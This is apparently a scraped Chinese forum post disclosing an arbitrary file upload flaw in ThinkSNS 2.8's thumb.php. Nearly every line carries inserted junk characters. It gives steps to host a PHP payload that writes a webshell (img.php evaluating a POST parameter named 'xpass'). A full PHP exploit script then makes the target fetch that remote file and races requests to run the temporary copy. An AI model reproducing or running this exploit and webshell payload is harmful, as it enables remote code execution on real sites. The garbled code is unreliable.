漏洞版本
" |% c' v' z. a: s. A" d& Y存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)* Y" j$ f8 H+ u R: A
漏洞文件
8 F% d. w0 c/ H( Z# ^) ~存在漏洞的文件为:thumb.php
. N0 j$ V1 ^( Q! d! r作者:韦鲲鹏, t# _6 z3 U" V* |4 m
1、 准备如下PHP文件并上传到服务器(自己的)。3 r" K8 U, Z: c9 B# C: H, G
文件内容如下:
% t& ]4 t, X1 V3 k9 U7 Y" z( [+ n<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
, Z J2 z6 P" a3 d+ ^$ u2 q2、 计算出临时的文件名:
2 x' }( k* k8 Z+ Y+ h! g这里我们可以看文件的99行(刚刚是不是没注意呀!)。
$ \2 I6 P. N9 d: m' ]* V( F; \3 Y# d
: d9 i6 G8 b! m3、 上传临时文件。
3 k o O. s4 r$ u4 k4、 访问临时文件。
) b/ W3 J1 g4 W但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)2 v6 T }+ k- A# x) A5 \# o
Exploit文件内容如下:(这个我就不详细解释了)
* P& Q; Q$ F4 i+ ?3 N4 Y* n! ?7 U<?php
* \$ ]! _! u S7 @9 p* B$ M0 _3 Serror_reporting(0);
" _7 V: I7 h( fset_time_limit(0);, Y$ ?$ m7 G. x7 K3 b; s
ini_set(“default_socket_timeout”, 5);
7 }2 L) H) P. ?5 Mfunction http_send($host, $port, $headers) {: z, g- Y; v" M) `, ~
$fp = fsockopen($host, $port);
, S9 d& u* U( I0 @if (!$fp) die(‘Connection -> fail’);
( s6 ?; p3 |( \7 Y9 [8 Hfputs($fp, $headers);
8 m, l8 C+ u, V4 l. d% greturn $fp;
! ]# H; o) s6 E/ |: {$ m- h}& v9 Y" R$ A; x, @
function http_recv($fp) {
4 p9 S, @ {( h& J6 r$ret=”";- F+ _. Y+ |3 z& u+ H" v4 T
while (!feof($fp))
( q6 {' l6 d$ z( _( I9 B$ret.= fgets($fp, 1024);
' q" X1 w/ p6 f- ]5 @) `5 ?/ Ufclose($fp);
( |/ j; T5 u' y9 {' v: a9 jreturn $ret;
5 } u5 Y! b- f& w+ N}6 p% L2 {4 g* o
print “\n# ThinkSns Arbitrary File Upload #\n”;1 V6 k; v' f& N" w- r2 _/ v
print “# Discovered by 韦鲲鹏 #\n\n”;
3 h& w* I2 j! `3 m3 x4 a2 nif ($argc < 4) {
, m' W4 t% n: W Eprint “Usage: php <host> <path> <romote_url>\n”;9 w$ Z8 c2 k2 g$ I9 l* s
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
$ H( y0 U/ L; h2 @die();: T2 W0 n, }% O3 O
}
2 J' B0 I- D( u% W/ d+ S$host = $argv[1];2 [0 [' O' F [& u
$path = $argv[2];, B; Z2 }, }) v2 S7 l6 u2 H: r
$url = $argv[3];1 p9 c: C' `' `$ f. }% }; |
$i=0;3 @/ K& W3 f+ @6 l, V3 N* j
//上传数据包: |; C( D0 ?2 V/ X7 `
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;9 ]+ F/ s3 H; `& m/ u2 x( s7 b6 @6 ]
$headers_up .= “Host: “.$host.”\r\n”;% T9 g1 {; A5 N/ d# m
$headers_up .= “Connection: close\r\n\r\n”;
! u, B7 q7 `6 l+ y7 Vecho $headers_up; s0 T, f2 h: m( Q5 e+ }
//临时文件访问数据包5 x9 B0 M$ P( @, \
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;) A0 y2 I, H, P1 G0 a9 A% U& }
$headers .= “Host: “.$host.”\r\n”;
, o) O; V) z9 y$headers .= “Connection: close\r\n\r\n”;
- T3 l) O. b% Yecho $headers;" ]( P6 o+ ]8 ?* i5 W
while(++$i<10) {
, ]* w' b! l+ H% h; q7 Efclose(http_send($host, 80, $headers));% j6 s, o2 u. b' ]8 k5 C
}
' l3 p: p) ~ W2 w; ifclose(http_send($host, 80, $headers_up));
% q8 ]# b9 _4 jwhile(++$i<50) {
1 w; P" {- e0 B( U; Tfclose(http_send($host, 80, $headers));# U- G, z. u' s, \
}/ g! @3 y3 E' V# R2 n
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;% L: q) K" Q0 F
$headers .= “Host: “.$host.”\r\n”;8 ]. ?" k# z; H- l/ y
$headers .= “Connection: close\r\n\r\n”;
( e1 \7 c) U2 @2 @0 g$res=http_recv(http_send($host, 80, $headers));$ v" V# p* d1 A. l2 T4 M# v: u' x
if(preg_match(‘/200 OK/’,$res)) {+ W8 r& X; [+ _/ ~9 b
print “Success!\n\n”;: Z3 ~# s4 J1 j8 L1 ]% p* L
} else {
* j3 ?- l: v! aprint “Fail!\n\n”;, M/ u: R2 p( u0 Y) a' c
}. j8 Y' k3 A7 S3 \0 B4 b
?>3 s; K* N4 P( c- A
|